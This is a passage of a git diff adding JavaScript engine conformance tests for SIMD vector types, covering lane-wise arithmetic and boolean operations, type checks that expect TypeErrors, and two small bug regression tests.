+ return (a | b) << 16 >> 16;
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Int16x8(...v), Int16x8(...w), Int16x8.or, ori);
+ }
+}
+
+function testInt16x8sub() {
+ function subi(a, b) {
+ return (a - b) << 16 >> 16;
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Int16x8(...v), Int16x8(...w), Int16x8.sub, subi);
+ }
+}
+
+function testInt16x8xor() {
+ function xori(a, b) {
+ return (a ^ b) << 16 >> 16;
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Int16x8(...v), Int16x8(...w), Int16x8.xor, xori);
+ }
+}
+
+function testInt16x8addSaturate() {
+ function satadd(a, b) {
+ return saturate(INT16_MIN, INT16_MAX, a + b);
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Int16x8(...v), Int16x8(...w), Int16x8.addSaturate, satadd);
+ }
+}
+
+function testInt16x8subSaturate() {
+ function satsub(a, b) {
+ return saturate(INT16_MIN, INT16_MAX, a - b);
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Int16x8(...v), Int16x8(...w), Int16x8.subSaturate, satsub);
+ }
+}
+
+// Uint16x8.
+function testUint16x8add() {
+ function addi(a, b) {
+ return (a + b) << 16 >>> 16;
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Uint16x8(...v), Uint16x8(...w), Uint16x8.add, addi);
+ }
+}
+
+function testUint16x8and() {
+ function andi(a, b) {
+ return (a & b) << 16 >>> 16;
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Uint16x8(...v), Uint16x8(...w), Uint16x8.and, andi);
+ }
+}
+
+function testUint16x8mul() {
+ function muli(x, y) {
+ return (x * y) << 16 >>> 16;
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Uint16x8(...v), Uint16x8(...w), Uint16x8.mul, muli);
+ }
+}
+
+function testUint16x8or() {
+ function ori(a, b) {
+ return (a | b) << 16 >>> 16;
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Uint16x8(...v), Uint16x8(...w), Uint16x8.or, ori);
+ }
+}
+
+function testUint16x8sub() {
+ function subi(a, b) {
+ return (a - b) << 16 >>> 16;
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Uint16x8(...v), Uint16x8(...w), Uint16x8.sub, subi);
+ }
+}
+
+function testUint16x8xor() {
+ function xori(a, b) {
+ return (a ^ b) << 16 >>> 16;
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Uint16x8(...v), Uint16x8(...w), Uint16x8.xor, xori);
+ }
+}
+
+function testUint16x8addSaturate() {
+ function satadd(a, b) {
+ return saturate(0, UINT16_MAX, a + b);
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Uint16x8(...v), Uint16x8(...w), Uint16x8.addSaturate, satadd);
+ }
+}
+
+function testUint16x8subSaturate() {
+ function satsub(a, b) {
+ return saturate(0, UINT16_MAX, a - b);
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Uint16x8(...v), Uint16x8(...w), Uint16x8.subSaturate, satsub);
+ }
+}
+
+var i32x4vals = [
+ [[1, 2, 3, 4], [10, 20, 30, 40]],
+ [[INT32_MAX, INT32_MIN, INT32_MAX, INT32_MIN], [1, -1, 0, 0]],
+ [[INT32_MAX, INT32_MIN, INT32_MAX, INT32_MIN], [INT32_MIN, INT32_MAX, INT32_MAX, INT32_MIN]],
+ [[INT32_MAX, INT32_MIN, INT32_MAX, INT32_MIN], [-1, -1, INT32_MIN, INT32_MIN]],
+ [[INT32_MAX, INT32_MIN, INT32_MAX, INT32_MIN], [-1, 1, INT32_MAX, INT32_MIN]],
+ [[UINT32_MAX, 0, UINT32_MAX, 0], [1, -1, 0, 0]],
+ [[UINT32_MAX, 0, UINT32_MAX, 0], [-1, -1, INT32_MIN, INT32_MIN]],
+ [[UINT32_MAX, 0, UINT32_MAX, 0], [1, -1, 0, 0]],
+ [[UINT32_MAX, 0, UINT32_MAX, 0], [-1, 1, INT32_MAX, INT32_MIN]]
+];
+
+// Int32x4.
+function testInt32x4add() {
+ function addi(a, b) {
+ return (a + b) | 0;
+ }
+
+ for (var [v,w] of i32x4vals) {
+ testBinaryFunc(Int32x4(...v), Int32x4(...w), Int32x4.add, addi);
+ }
+}
+
+function testInt32x4and() {
+ function andi(a, b) {
+ return (a & b) | 0;
+ }
+
+ for (var [v,w] of i32x4vals) {
+ testBinaryFunc(Int32x4(...v), Int32x4(...w), Int32x4.and, andi);
+ }
+}
+
+function testInt32x4mul() {
+ function muli(x, y) {
+ // Deal with lost precision in the 53-bit double mantissa.
+ // Compute two 48-bit products. Truncate and combine them.
+ var hi = (x * (y >>> 16)) | 0;
+ var lo = (x * (y & 0xffff)) | 0;
+ return (lo + (hi << 16)) | 0;
+ }
+
+ for (var [v,w] of i32x4vals) {
+ testBinaryFunc(Int32x4(...v), Int32x4(...w), Int32x4.mul, muli);
+ }
+}
+
+function testInt32x4or() {
+ function ori(a, b) {
+ return (a | b) | 0;
+ }
+
+ for (var [v,w] of i32x4vals) {
+ testBinaryFunc(Int32x4(...v), Int32x4(...w), Int32x4.or, ori);
+ }
+}
+
+function testInt32x4sub() {
+ function subi(a, b) {
+ return (a - b) | 0;
+ }
+
+ for (var [v,w] of i32x4vals) {
+ testBinaryFunc(Int32x4(...v), Int32x4(...w), Int32x4.sub, subi);
+ }
+}
+
+function testInt32x4xor() {
+ function xori(a, b) {
+ return (a ^ b) | 0;
+ }
+
+ for (var [v,w] of i32x4vals) {
+ testBinaryFunc(Int32x4(...v), Int32x4(...w), Int32x4.xor, xori);
+ }
+}
+
+// Uint32x4.
+function testUint32x4add() {
+ function addi(a, b) {
+ return (a + b) >>> 0;
+ }
+
+ for (var [v,w] of i32x4vals) {
+ testBinaryFunc(Uint32x4(...v), Uint32x4(...w), Uint32x4.add, addi);
+ }
+}
+
+function testUint32x4and() {
+ function andi(a, b) {
+ return (a & b) >>> 0;
+ }
+
+ for (var [v,w] of i32x4vals) {
+ testBinaryFunc(Uint32x4(...v), Uint32x4(...w), Uint32x4.and, andi);
+ }
+}
+
+function testUint32x4mul() {
+ function muli(x, y) {
+ // Deal with lost precision in the 53-bit double mantissa.
+ // Compute two 48-bit products. Truncate and combine them.
+ var hi = (x * (y >>> 16)) >>> 0;
+ var lo = (x * (y & 0xffff)) >>> 0;
+ return (lo + (hi << 16)) >>> 0;
+ }
+
+ for (var [v,w] of i32x4vals) {
+ testBinaryFunc(Uint32x4(...v), Uint32x4(...w), Uint32x4.mul, muli);
+ }
+}
+
+function testUint32x4or() {
+ function ori(a, b) {
+ return (a | b) >>> 0;
+ }
+
+ for (var [v,w] of i32x4vals) {
+ testBinaryFunc(Uint32x4(...v), Uint32x4(...w), Uint32x4.or, ori);
+ }
+}
+
+function testUint32x4sub() {
+ function subi(a, b) {
+ return (a - b) >>> 0;
+ }
+
+ for (var [v,w] of i32x4vals) {
+ testBinaryFunc(Uint32x4(...v), Uint32x4(...w), Uint32x4.sub, subi);
+ }
+}
+
+function testUint32x4xor() {
+ function xori(a, b) {
+ return (a ^ b) >>> 0;
+ }
+
+ for (var [v,w] of i32x4vals) {
+ testBinaryFunc(Uint32x4(...v), Uint32x4(...w), Uint32x4.xor, xori);
+ }
+}
+
+var b8x16vals = [
+ [[true, true, true, true, false, false, false, false, true, true, true, true, false, false, false, false],
+ [false, true, false, true, false, true, false, true, true, true, true, true, false, false, false, false]]
+];
+
+function testBool8x16and() {
+ function andb(a, b) {
+ return a && b;
+ }
+
+ for (var [v,w] of b8x16vals) {
+ testBinaryFunc(Bool8x16(...v), Bool8x16(...w), Bool8x16.and, andb);
+ }
+}
+
+function testBool8x16or() {
+ function orb(a, b) {
+ return a || b;
+ }
+
+ for (var [v,w] of b8x16vals) {
+ testBinaryFunc(Bool8x16(...v), Bool8x16(...w), Bool8x16.or, orb);
+ }
+}
+
+function testBool8x16xor() {
+ function xorb(a, b) {
+ return a != b;
+ }
+
+ for (var [v,w] of b8x16vals) {
+ testBinaryFunc(Bool8x16(...v), Bool8x16(...w), Bool8x16.xor, xorb);
+ }
+}
+
+var b16x8vals = [
+ [[true, true, true, true, false, false, false, false],
+ [false, true, false, true, false, true, false, true]]
+];
+
+function testBool16x8and() {
+ function andb(a, b) {
+ return a && b;
+ }
+
+ for (var [v,w] of b16x8vals) {
+ testBinaryFunc(Bool16x8(...v), Bool16x8(...w), Bool16x8.and, andb);
+ }
+}
+
+function testBool16x8or() {
+ function orb(a, b) {
+ return a || b;
+ }
+
+ for (var [v,w] of b16x8vals) {
+ testBinaryFunc(Bool16x8(...v), Bool16x8(...w), Bool16x8.or, orb);
+ }
+}
+
+function testBool16x8xor() {
+ function xorb(a, b) {
+ return a != b;
+ }
+
+ for (var [v,w] of b16x8vals) {
+ testBinaryFunc(Bool16x8(...v), Bool16x8(...w), Bool16x8.xor, xorb);
+ }
+}
+
+var b32x4vals = [
+ [[true, true, false, false], [false, true, false, true]]
+];
+
+function testBool32x4and() {
+ function andb(a, b) {
+ return a && b;
+ }
+
+ for (var [v,w] of b32x4vals) {
+ testBinaryFunc(Bool32x4(...v), Bool32x4(...w), Bool32x4.and, andb);
+ }
+}
+
+function testBool32x4or() {
+ function orb(a, b) {
+ return a || b;
+ }
+
+ for (var [v,w] of b32x4vals) {
+ testBinaryFunc(Bool32x4(...v), Bool32x4(...w), Bool32x4.or, orb);
+ }
+}
+
+function testBool32x4xor() {
+ function xorb(a, b) {
+ return a != b;
+ }
+
+ for (var [v,w] of b32x4vals) {
+ testBinaryFunc(Bool32x4(...v), Bool32x4(...w), Bool32x4.xor, xorb);
+ }
+}
+
+var b64x2vals = [
+ [[false, false], [false, true], [true, false], [true, true]]
+];
+
+function testBool64x2and() {
+ function andb(a, b) {
+ return a && b;
+ }
+
+ for (var [v,w] of b64x2vals) {
+ testBinaryFunc(Bool64x2(...v), Bool64x2(...w), Bool64x2.and, andb);
+ }
+}
+
+function testBool64x2or() {
+ function orb(a, b) {
+ return a || b;
+ }
+
+ for (var [v,w] of b64x2vals) {
+ testBinaryFunc(Bool64x2(...v), Bool64x2(...w), Bool64x2.or, orb);
+ }
+}
+
+function testBool64x2xor() {
+ function xorb(a, b) {
+ return a != b;
+ }
+
+ for (var [v,w] of b64x2vals) {
+ testBinaryFunc(Bool64x2(...v), Bool64x2(...w), Bool64x2.xor, xorb);
+ }
+}
+
+function test() {
+ testFloat32x4add();
+ testFloat32x4div();
+ testFloat32x4mul();
+ testFloat32x4sub();
+
+ testInt8x16add();
+ testInt8x16and();
+ testInt8x16mul();
+ testInt8x16or();
+ testInt8x16sub();
+ testInt8x16xor();
+ testInt8x16addSaturate();
+ testInt8x16subSaturate();
+
+ testUint8x16add();
+ testUint8x16and();
+ testUint8x16mul();
+ testUint8x16or();
+ testUint8x16sub();
+ testUint8x16xor();
+ testUint8x16addSaturate();
+ testUint8x16subSaturate();
+
+ testInt16x8add();
+ testInt16x8and();
+ testInt16x8mul();
+ testInt16x8or();
+ testInt16x8sub();
+ testInt16x8xor();
+ testInt16x8addSaturate();
+ testInt16x8subSaturate();
+
+ testUint16x8add();
+ testUint16x8and();
+ testUint16x8mul();
+ testUint16x8or();
+ testUint16x8sub();
+ testUint16x8xor();
+ testUint16x8addSaturate();
+ testUint16x8subSaturate();
+
+ testInt32x4add();
+ testInt32x4and();
+ testInt32x4mul();
+ testInt32x4or();
+ testInt32x4sub();
+ testInt32x4xor();
+
+ testUint32x4add();
+ testUint32x4and();
+ testUint32x4mul();
+ testUint32x4or();
+ testUint32x4sub();
+ testUint32x4xor();
+
+ testBool8x16and();
+ testBool8x16or();
+ testBool8x16xor();
+
+ testBool16x8and();
+ testBool16x8or();
+ testBool16x8xor();
+
+ testBool32x4and();
+ testBool32x4or();
+ testBool32x4xor();
+
+ testBool64x2and();
+ testBool64x2or();
+ testBool64x2xor();
+
+ if (typeof reportCompare === "function") {
+ reportCompare(true, true);
+ }
+}
+
+test();
diff --git a/js/src/tests/ecma_7/SIMD/bug1023145.js b/js/src/tests/ecma_7/SIMD/bug1023145.js
new file mode 100644
index 000000000..45f44afb5
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/bug1023145.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+delete Object.prototype.__proto__;
+var Int32x4 = SIMD.Int32x4;
+var ar = Int32x4.array(1);
+var array = new ar([Int32x4(1, 2, 3, 4)]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/SIMD/bug953270.js b/js/src/tests/ecma_7/SIMD/bug953270.js
new file mode 100644
index 000000000..db6a0d7cb
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/bug953270.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// Check that NaN normalization is applied when extracting the x lane
+// out, after bit conversion has occurred.
+
+var Int32x4 = SIMD.Int32x4;
+var a = Int32x4((4294967295), 200, 300, 400);
+var c = SIMD.Float32x4.fromInt32x4Bits(a);
+
+// NaN canonicalization occurs when extracting out x lane:
+assertEq(SIMD.Float32x4.extractLane(c, 0), NaN);
+
+// but underlying bits are faithfully transmitted
+// (though reinterpreted as a signed integer):
+var d = SIMD.Int32x4.fromFloat32x4Bits(c);
+assertEq(SIMD.Int32x4.extractLane(d, 0), -1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/SIMD/check.js b/js/src/tests/ecma_7/SIMD/check.js
new file mode 100644
index 000000000..77ef381be
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/check.js
@@ -0,0 +1,214 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+function test() {
+
+ var i4 = SIMD.Int32x4(1,2,3,4);
+ var i8 = SIMD.Int16x8(1,2,3,4,5,6,7,8);
+ var i16 = SIMD.Int8x16(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16);
+ var u4 = SIMD.Uint32x4(1,2,3,4);
+ var u8 = SIMD.Uint16x8(1,2,3,4,5,6,7,8);
+ var u16 = SIMD.Uint8x16(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16);
+ var f4 = SIMD.Float32x4(NaN, -0, Infinity, 13.37);
+ var f2 = SIMD.Float64x2(-0, 13.37);
+ var b2 = SIMD.Bool64x2(true, false);
+ var b4 = SIMD.Bool32x4(true, true, false, false);
+ var b8 = SIMD.Bool16x8(true, true, false, false, true, true, false, false);
+ var b16 = SIMD.Bool8x16(true, true, false, false, true, true, false, false, true, true, false, false, true, true, false, false);
+
+ var ci4 = SIMD.Int32x4.check(i4);
+ assertEqX4(ci4, simdToArray(i4));
+ assertThrowsInstanceOf(() => SIMD.Int32x4.check(f4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.check(f2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.check(i8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.check(i16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.check(u4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.check(u8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.check(u16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.check(b2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.check(b4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.check(b8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.check(b16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.check("i swear i'm a vector"), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int32x4.check({}), TypeError);
+
+ var ci8 = SIMD.Int16x8.check(i8);
+ assertEqX8(ci8, simdToArray(i8));
+ assertThrowsInstanceOf(() => SIMD.Int16x8.check(i4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.check(i16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.check(u4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.check(u8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.check(u16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.check(f4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.check(f2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.check(b2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.check(b4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.check(b8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.check(b16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.check("i swear i'm a vector"), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int16x8.check({}), TypeError);
+
+ var ci16 = SIMD.Int8x16.check(i16);
+ assertEqX16(ci16, simdToArray(i16));
+ assertThrowsInstanceOf(() => SIMD.Int8x16.check(i4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.check(i8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.check(u4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.check(u8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.check(u16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.check(f4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.check(f2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.check(b2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.check(b4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.check(b8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.check(b16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.check("i swear i'm a vector"), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Int8x16.check({}), TypeError);
+
+ var cu4 = SIMD.Uint32x4.check(u4);
+ assertEqX4(cu4, simdToArray(u4));
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.check(f4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.check(f2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.check(i4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.check(i8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.check(i16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.check(u8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.check(u16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.check(b2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.check(b4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.check(b8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.check(b16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.check("i swear i'm a vector"), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.check({}), TypeError);
+
+ var cu8 = SIMD.Uint16x8.check(u8);
+ assertEqX8(cu8, simdToArray(u8));
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.check(i4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.check(i8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.check(i16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.check(u4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.check(u16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.check(f4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.check(f2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.check(b2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.check(b4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.check(b8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.check(b16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.check("i swear i'm a vector"), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint16x8.check({}), TypeError);
+
+ var cu16 = SIMD.Uint8x16.check(u16);
+ assertEqX16(cu16, simdToArray(u16));
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.check(i4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.check(i8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.check(i16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.check(u4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.check(u8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.check(f4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.check(f2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.check(b2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.check(b4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.check(b8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.check(b16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.check("i swear i'm a vector"), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Uint8x16.check({}), TypeError);
+
+ var cf4 = SIMD.Float32x4.check(f4);
+ assertEqX4(cf4, simdToArray(f4));
+ assertThrowsInstanceOf(() => SIMD.Float32x4.check(i4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.check(i8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.check(i16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.check(u4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.check(u8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.check(u16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.check(f2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.check(b2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.check(b4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.check(b8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.check(b16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.check("i swear i'm a vector"), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.check({}), TypeError);
+
+ var cf2 = SIMD.Float64x2.check(f2);
+ assertEqX2(cf2, simdToArray(f2));
+ assertThrowsInstanceOf(() => SIMD.Float64x2.check(f4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.check(i4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.check(u4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.check(u8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.check(u16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.check(i8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.check(i16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.check(b2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.check(b4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.check(b8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.check(b16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.check("i swear i'm a vector"), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.check({}), TypeError);
+
+ var cb2 = SIMD.Bool64x2.check(b2);
+ assertEqX2(cb2, simdToArray(b2));
+ assertThrowsInstanceOf(() => SIMD.Bool64x2.check(f4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool64x2.check(f2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool64x2.check(i8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool64x2.check(i16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool64x2.check(u4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool64x2.check(u8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool64x2.check(u16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool64x2.check(b4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool64x2.check(b8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool64x2.check(b16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool64x2.check("i swear i'm a vector"), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool64x2.check({}), TypeError);
+
+ var cb4 = SIMD.Bool32x4.check(b4);
+ assertEqX4(cb4, simdToArray(b4));
+ assertThrowsInstanceOf(() => SIMD.Bool32x4.check(f4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool32x4.check(f2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool32x4.check(i4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool32x4.check(i8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool32x4.check(i16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool32x4.check(u4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool32x4.check(u8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool32x4.check(u16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool32x4.check(b2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool32x4.check(b8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool32x4.check(b16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool32x4.check("i swear i'm a vector"), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool32x4.check({}), TypeError);
+
+ var cb8 = SIMD.Bool16x8.check(b8);
+ assertEqX8(cb8, simdToArray(b8));
+ assertThrowsInstanceOf(() => SIMD.Bool16x8.check(f4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool16x8.check(f2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool16x8.check(i4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool16x8.check(i8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool16x8.check(i16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool16x8.check(u4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool16x8.check(u8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool16x8.check(u16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool16x8.check(b2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool16x8.check(b4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool16x8.check(b16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool16x8.check("i swear i'm a vector"), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool16x8.check({}), TypeError);
+
+ var cb16 = SIMD.Bool8x16.check(b16);
+ assertEqX16(cb16, simdToArray(b16));
+ assertThrowsInstanceOf(() => SIMD.Bool8x16.check(f4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool8x16.check(f2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool8x16.check(i4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool8x16.check(i8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool8x16.check(i16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool8x16.check(u4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool8x16.check(u8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool8x16.check(u16), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool8x16.check(b2), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool8x16.check(b4), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool8x16.check(b8), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool8x16.check("i swear i'm a vector"), TypeError);
+ assertThrowsInstanceOf(() => SIMD.Bool8x16.check({}), TypeError);
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+}
+
+test();
+
diff --git a/js/src/tests/ecma_7/SIMD/comparisons.js b/js/src/tests/ecma_7/SIMD/comparisons.js
new file mode 100644
index 000000000..2ca54b14e
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/comparisons.js
@@ -0,0 +1,349 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var Float32x4 = SIMD.Float32x4;
+var Float64x2 = SIMD.Float64x2;
+var Int8x16 = SIMD.Int8x16;
+var Int16x8 = SIMD.Int16x8;
+var Int32x4 = SIMD.Int32x4;
+var Uint8x16 = SIMD.Uint8x16;
+var Uint16x8 = SIMD.Uint16x8;
+var Uint32x4 = SIMD.Uint32x4;
+var Bool8x16 = SIMD.Bool8x16;
+var Bool16x8 = SIMD.Bool16x8;
+var Bool32x4 = SIMD.Bool32x4;
+var Bool64x2 = SIMD.Bool64x2;
+
+var fround = Math.fround;
+
+
+function testEqualFloat32x4(v, w) {
